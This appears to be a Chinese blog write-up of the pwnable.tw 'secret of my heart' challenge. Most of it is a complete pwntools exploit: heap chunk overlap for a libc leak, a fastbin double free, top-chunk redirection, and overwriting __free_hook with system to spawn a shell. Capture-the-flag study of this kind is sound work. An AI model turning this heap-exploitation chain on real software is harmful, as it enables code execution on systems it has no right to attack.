【tw】secret of my heart(2)

本题另一个思路。

程序

程序已经分析过一次了。见链接

思路

这是在看雪上学到的一个思路。参考链接
这是另一种稍微简单一点的构造堆重叠的方法。

  • 1.首先布置一下堆块,完成堆块合并,这里比较简单:
add(0xf8,'123','/bin/sh\x00') #0
add(0x68,'123','/bin/sh\x00') #1
add(0xf8,'123','/bin/sh\x00') #2
add(0x68,'123','/bin/sh\x00') #3
add(0x68,'123','123') #4
remove(1)
remove(0)
add(0x68,'123','/bin/sh\x00'+'a'*0x58+p64(0x170)) #0
remove(2)

在这里插入图片描述

  • 2.申请 = #1 size 大小的 chunk,此时 main_arena 地址在 #0 中,show(#0) 完成泄漏 libc.
add(0xf8,'123','/bin/sh\x00') #1
show(0)
  • 3.继续从合并的 chunk 中申请和 #0 同样大小的 chunk,此时堆块重叠,制造 double free.
add(0x68,'123','123') #2 same as #0
# double free
remove(0)
remove(3)
remove(2)

此时 bins 中只剩原来触发合并的 0x100 的 chunk #2 在 unsorted bin 中。

  • 4.然后就是这次学到的重点,因为 free_hook 上方没有合适的 size 来通过内存错位伪造 chunk,但是在 free_hook -0xb58 处存在一个数值,可以作为 top chunk 的 size,因为通过 double free 申请到 malloc_hook 上的 chunk 大小不能覆盖到 top chunk 的值,所以通过这个 chunk 先控制 fastbin 0x70 的链表头指向附近的地址并且布置好 size,形成如下的效果,然后再申请到的 chunk 就可以修改 top chunk:
add(0x68,'123',p64(malloc_hook - 0xb))
add(0x68,'123','123')
add(0x68,'123','123')
add(0x68,'123','\x00' * 0x1b + p64(0) + p64(0x70) * 3 + p64(malloc_hook+0x20))
add(0x68,'123','\x00' * 0x38 + p64(free_hook-0xb58))

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
成功修改:
在这里插入图片描述
然后就是计算一下,分配到 free_hook 并改为 system:

# 0x12 * 0xa0 = 0xb40  然后还有之前 unsorted bin 中剩下的chunk,一共 19 个
for i in range(0,19):
    add(0x90,'123','123')
add(0x90,'123','a'*8+p64(system))
sl('3')
ru('Index')
sl('1')
完整exp
#encoding=utf-8
from pwn import *

p = process("./secret_of_my_heart")
# p = remote("chall.pwnable.tw", 10302)
elf = ELF("./secret_of_my_heart")
# libc = ELF("./libc_64.so.6")
libc = elf.libc

context(log_level = 'debug')
DEBUG = 0
if DEBUG:
    gdb.attach(p, 
    ''' 
    b *0x08048935
    c
    ''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num                :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00')) 
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :p.interactive()

menu = "Your choice :"
def cmd(idx):
    ru(menu)
    sl(str(idx))

def add(size, name, secret):
    cmd(1)
    ru("Size of heart : ")
    sl(str(size))
    ru("Name of heart :")
    se(name)
    ru("secret of my heart :")
    se(secret)

def show(idx):
    cmd(2)
    ru("Index :")
    sl(str(idx))

def remove(idx):
    cmd(3)
    ru("Index :")
    sl(str(idx))

add(0xf8,'123','/bin/sh\x00') #0
add(0x68,'123','/bin/sh\x00') #1
add(0xf8,'123','/bin/sh\x00') #2
add(0x68,'123','/bin/sh\x00') #3
add(0x68,'123','123') #4
remove(1)
remove(0)
add(0x68,'123','/bin/sh\x00'+'a'*0x58+p64(0x170)) #0
remove(2)

add(0xf8,'123','/bin/sh\x00') #1
show(0)
ru("Secret : ")
libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook=libc_base + libc.symbols['__free_hook']
system=libc_base + libc.symbols['system']

add(0x68,'123','123') #2 same as #0
# double free
remove(0)
remove(3)
remove(2)

add(0x68,'123',p64(malloc_hook - 0xb))
add(0x68,'123','123')
add(0x68,'123','123')
add(0x68,'123','\x00' * 0x1b + p64(0) + p64(0x70) * 3 + p64(malloc_hook+0x20))
add(0x68,'123','\x00' * 0x38 + p64(free_hook-0xb58))

# 0x12 * 0xa0 = 0xbe0
for i in range(0,19):
    add(0x90,'123','123')
add(0x90,'123','a'*8+p64(system))
sl('3')
ru('Index')
sl('1')
ia()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值